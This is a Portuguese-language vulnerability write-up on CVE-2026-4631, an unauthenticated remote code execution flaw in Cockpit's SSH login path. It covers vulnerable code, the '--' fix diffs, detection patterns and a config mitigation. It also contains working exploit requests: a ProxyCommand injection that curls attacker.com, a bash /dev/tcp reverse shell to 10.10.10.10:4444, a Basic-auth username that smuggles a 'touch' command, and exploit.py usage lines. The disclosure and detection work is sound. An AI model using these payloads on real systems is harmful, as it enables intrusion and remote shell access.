
Cockpit: Execução Remota de Código Não Autenticada via Injeção de Argumentos de Linha de Comando SSH
| Campo | Detalhe |
|---|
| ID CVE | CVE-2026-4631 |
| GHSA | GHSA-m4gv-x78h-3427 |
| Severidade | Crítica (CVSS 9.8) |
| Versões afetadas | Cockpit 327 – 359 |
| Corrigido em | Cockpit 360 |
| CWE | CWE-78: Injeção de Comando no SO |
| Autenticação necessária | NÃO |
| Reportado por | Jelle van der Waa |
O recurso de login remoto do Cockpit passa nomes de host fornecidos pelo usuário (do caminho da URL) e nomes de usuário (do cabeçalho Authorization: Basic) diretamente para o binário OpenSSH ssh, sem qualquer validação ou sanitização.
Um atacante não autenticado com acesso de rede à porta 9090 pode criar uma única solicitação HTTP que:
-oProxyCommand=<cmd>)%r do SSHAmbos os pontos de injeção são acionados antes da conclusão da verificação de credenciais, o que significa que nenhum login válido é necessário.

Antes da versão 327, o Cockpit usava um binário C dedicado chamado cockpit-ssh (baseado em libssh) para conexões remotas. A partir da versão 327, isso foi substituído por:
python3 -m cockpit.beiboot
que invoca o cliente OpenSSH ssh do sistema. Essa mudança introduziu a vulnerabilidade porque o novo caminho de código passa valores controlados pelo usuário diretamente para o ssh, sem sanitização.
-- Antes do HostnameO cliente SSH interpreta argumentos que começam com - como opções, e não como um hostname, a menos que um separador -- os preceda. Sem --, qualquer hostname que comece com - é interpretado como uma flag SSH.
Construção vulnerável:
ssh [opções] <hostname> <comando-remoto>
Construção segura:
ssh [opções] -- <hostname> <comando-remoto>
Nem cockpit-ws (código C) nem cockpit.beiboot (código Python) validam ou sanitizam:
Authorization: Basicargparse (CPython #66623)Um bug conhecido do CPython faz com que o argparse trate incorretamente argumentos que começam com - e também contêm espaços, tratando-os como posicionais em vez de flags. Isso permite que um hostname -oProxyCommand=evil command passe pela análise de argumentos do Python e chegue ao ssh como uma opção.
src/cockpit/beiboot.py — Ponto de Injeção PrimárioEste é o arquivo mais crítico. A função via_ssh() constrói a lista de argumentos do comando SSH.
def via_ssh(cmd: Sequence[str], dest: str, ssh_askpass: Path, *ssh_opts: str) -> Sequence[str]:
"""Build an ssh command to run `cmd` on `dest`."""
# Parse optional port from dest (e.g. "host:2222")
host, _, port = dest.rpartition(':')
if port.isdigit() and host:
# Strip IPv6 brackets
if host.startswith('[') and host.endswith(']'):
host = host[1:-1]
# VULNERABLE: No '--' before host
# If host = "-oProxyCommand=evil", ssh treats it as an option
destination = ['-p', port, host]
else:
# VULNERABLE: Raw attacker input passed directly to ssh
destination = [dest]
return (
'ssh', *ssh_opts, *destination, shlex.join(cmd)
)
Com dest = "-oProxyCommand=curl http://attacker.com/id":
arg0: ssh
arg1: -oNumberOfPasswordPrompts=1 ← opção do cockpit
arg2: -oProxyCommand=curl http://... ← INTERPRETADA COMO OPÇÃO SSH (não host)
arg3: python3 -ic '# cockpit-bridge' ← torna-se o "hostname" → aciona o ProxyCommand
if port.isdigit() and host:
if host.startswith('[') and host.endswith(']'):
host = host[1:-1]
# FIXED: '--' forces everything after it to be positional
destination = ['-p', port, '--', host]
else:
# FIXED: '--' separator added
destination = ['--', dest]
src/ws/cockpitauth.c — Camada C: Extração do HostnameEste arquivo C lida com a análise inicial da solicitação HTTP e inicia o processo beiboot.
static const gchar *
application_parse_host(const gchar *application)
{
const gchar *prefix = "cockpit+=";
gint len = strlen(prefix);
g_return_val_if_fail(application != NULL, NULL);
// Extracts everything after "cockpit+=" from the URL path
// No character validation — dashes, special chars allowed
if (g_str_has_prefix(application, prefix) && application[len] != '\0')
return application + len;
else
return NULL;
}
O hostname retornado é passado diretamente como argumento ao iniciar o beiboot:
// cockpit_ws_ssh_program is the spawn command template
// VULNERABLE: hostname appended with no sanitization
const gchar *cockpit_ws_ssh_program =
"/usr/bin/env python3 -m cockpit.beiboot --remote-bridge=supported";
// ^
// No trailing '--' means hostname can be parsed
// as a flag by Python's argparse (CPython #66623)
// FIXED: trailing '--' ensures hostname is always positional
const gchar *cockpit_ws_ssh_program =
"/usr/bin/env python3 -m cockpit.beiboot --remote-bridge=supported --";
static CockpitCreds *
build_session_credentials(CockpitAuth *self,
CockpitWebRequest *request,
const char *application,
const char *host,
const char *type,
const char *authorization)
{
char *user = NULL;
char *raw = NULL;
if (g_strcmp0(type, "basic") == 0) {
// Decodes Authorization: Basic base64(user:password)
// No validation of 'user' — semicolons, special chars allowed
raw = cockpit_authorize_parse_basic(authorization, &user);
}
// 'user' is passed into credentials and eventually to 'ssh -l <user>'
creds = cockpit_creds_new(application,
COCKPIT_CRED_USER, user, // unsanitized
...);
}
vendor/ferny/src/ferny/session.py — Terceiro Ponto de InjeçãoA biblioteca ferny incluída (usada para interação SSH) tem a mesma omissão de -- em sua chamada de subprocesso.
async def connect(self, ...):
...
# SSH_ASKPASS_REQUIRE is not generally available, so use setsid
process = await asyncio.create_subprocess_exec(
# VULNERABLE: hardcoded path + no '--' before destination
*('/usr/bin/ssh', *args, destination),
env=env,
start_new_session=True,
stdin=asyncio.subprocess.DEVNULL,
stdout=asyncio.subprocess.DEVNULL,
stderr=agent,
preexec_fn=lambda: prctl(PR_SET_PDEATHSIG, signal.SIGKILL)
)
process = await asyncio.create_subprocess_exec(
# FIXED: PATH lookup instead of hardcoded path + '--' added
*('ssh', *args, '--', destination),
env=env,
...
)
containers/ws/cockpit-auth-ssh-key — Caminho de Implantação em ContêinerEste script é o comando de autenticação usado em implantações do Cockpit baseadas em Docker/contêiner.
#!/usr/bin/env python3
import os, sys
# Extract host from environment
host = os.environ.get('COCKPIT_SSH_CONNECT_TO', sys.argv[1])
# VULNERABLE: same root cause — host passed unsanitized to beiboot
os.execlpe("python3", "python3", "-m", "cockpit.beiboot", host, os.environ)
Este é um ponto de entrada separado do caminho principal beiboot.py, o que significa que implantações do Cockpit em contêiner são independentemente vulneráveis, mesmo que o caminho de código principal seja corrigido.
Pré-condição: OpenSSH < 9.6 no host do Cockpit (o OpenSSH 9.6 introduziu validação precoce de hostname que bloqueia metacaracteres de shell).
Solicitação HTTP:
GET /cockpit+=-oProxyCommand=<COMMAND>/login HTTP/1.1
Host: <target>:9090
Authorization: Basic aW52YWxpZDppbnZhbGlk
Authorization decodificada: invalid:invalid — qualquer valor funciona.
Como funciona:
-oProxyCommand=<COMMAND> do caminho da URL como o "hostname"via_ssh() do beiboot constrói: ssh -oProxyCommand=<COMMAND> python3 -ic '# cockpit-bridge'-oProxyCommand=<COMMAND> como uma opção (não como host)python3 -ic '# cockpit-bridge' como o hostname<COMMAND> como o ProxyCommand ao conectar-se a esse "hostname"<COMMAND> é executado como o usuário do processo cockpit-wsExemplo — callback OOB:
GET /cockpit+=-oProxyCommand=curl%20http%3A%2F%2Fattacker.com%2F%60id%60/login HTTP/1.1
ProxyCommand decodificado: curl http://attacker.com/id``
Exemplo — reverse shell:
GET /cockpit+=-oProxyCommand=bash%20-i%20%3E%26%20%2Fdev%2Ftcp%2F10.10.10.10%2F4444%200%3E%261/login HTTP/1.1
ProxyCommand decodificado: bash -i >& /dev/tcp/10.10.10.10/4444 0>&1
%rPré-condição: O ssh_config do alvo contém uma diretiva Match exec usando o token %r (nome de usuário remoto).
Exemplo de ssh_config vulnerável:
Match exec "/usr/bin/test %r = blocked_user"
ProxyCommand /bin/false
Solicitação HTTP:
GET /cockpit+=legitimate-host/login HTTP/1.1
Host: <target>:9090
Authorization: Basic eDsgdG91Y2ggL3RtcC9wd25lZDsgIzppbnZhbGlk
Authorization decodificada: x; touch /tmp/pwned; #:invalid
Nome de usuário extraído: x; touch /tmp/pwned; #
Como funciona:
%r com o nome de usuário antes de executar o comando Match exec/usr/bin/test x; touch /tmp/pwned; # = blocked_usertouch /tmp/pwned e ignora o restante
A correção é mínima — adicionar -- (o separador POSIX de fim de opções) antes do argumento de destino em todos os lugares onde o SSH é invocado.
src/cockpit/beiboot.py (commit 9d0695647)- destination = ['-p', port, host]
+ destination = ['-p', port, '--', host]
- destination = [dest]
+ destination = ['--', dest]
src/ws/cockpitauth.c (commit 9d0695647)- const gchar *cockpit_ws_ssh_program =
- "/usr/bin/env python3 -m cockpit.beiboot --remote-bridge=supported";
+ const gchar *cockpit_ws_ssh_program =
+ "/usr/bin/env python3 -m cockpit.beiboot --remote-bridge=supported --";
vendor/ferny/src/ferny/session.py (commit 44ec511c99)- *('/usr/bin/ssh', *args, destination),
+ *('ssh', *args, '--', destination),
-- Corrige o ProblemaO token -- informa aos analisadores de argumentos (tanto o argparse do Python quanto o analisador de opções do OpenSSH) que todos os tokens subsequentes são argumentos posicionais, não opções. Após --, um valor como -oProxyCommand=evil é tratado como uma string literal de hostname, que o SSH então rejeita como inválida — ele nunca executa nada.
Procure por solicitações HTTP ao endpoint de login do Cockpit onde o componente de caminho contém sintaxe de opção SSH:
GET /cockpit+=-o[A-Za-z]+=.*/login
GET /cockpit+=-[A-Za-z].*/login
Especificamente, observe:
-oProxyCommand= no caminho da URL (Vetor 1)Authorization: Basic (Vetor 2)# Verifique a inicialização do beiboot com argumentos suspeitos
journalctl -u cockpit-ws | grep -E "beiboot|ProxyCommand|-oProxy"
# Verifique invocações SSH do usuário cockpit-ws
journalctl _COMM=ssh | grep -v "^--$"
# Verifique se a versão instalada é vulnerável
dpkg -l cockpit-ws | awk 'NR==5{print $3}'
# Vulnerável se a versão estiver entre 327 e 359 inclusive
rpm -q cockpit-ws
# A mesma verificação de versão se aplica
python3 exploit.py --target http://localhost:9090/ --vector username

python3 exploit.py --file url.txt --vector username

python3 exploit.py --target http://localhost:9090/ --vector username --callback CALLBACK

python3 exploit.py --target http://localhost:9090/ --vector username --cmd "id > /tmp/id"

Adicione ao /etc/cockpit/cockpit.conf:
[WebService]
LoginTo = false
Isso desativa completamente o recurso de login remoto, impedindo que o caminho de código beiboot seja acionado.
| Recurso | URL |
|---|---|
| Divulgação OSS-Security | https://www.openwall.com/lists/oss-security/2026/04/10/5 |
| Aviso de Segurança do GitHub | https://github.com/cockpit-project/cockpit/security/advisories/GHSA-m4gv-x78h-3427 |
| Issue do Bugzilla | https://bugzilla.redhat.com/show_bug.cgi?id=2450246 |
| Commit de correção (cockpit) | https://github.com/cockpit-project/cockpit/commit/9d0695647 |
| Commit de correção (ferny) | https://github.com/allisonkarlitskaya/ferny/commit/44ec511c99 |
| Bug do argparse do CPython | https://github.com/python/cpython/issues/66623 |
| Validação de hostname do OpenSSH 9.6 | https://github.com/openssh/openssh-portable/commit/7ef3787 |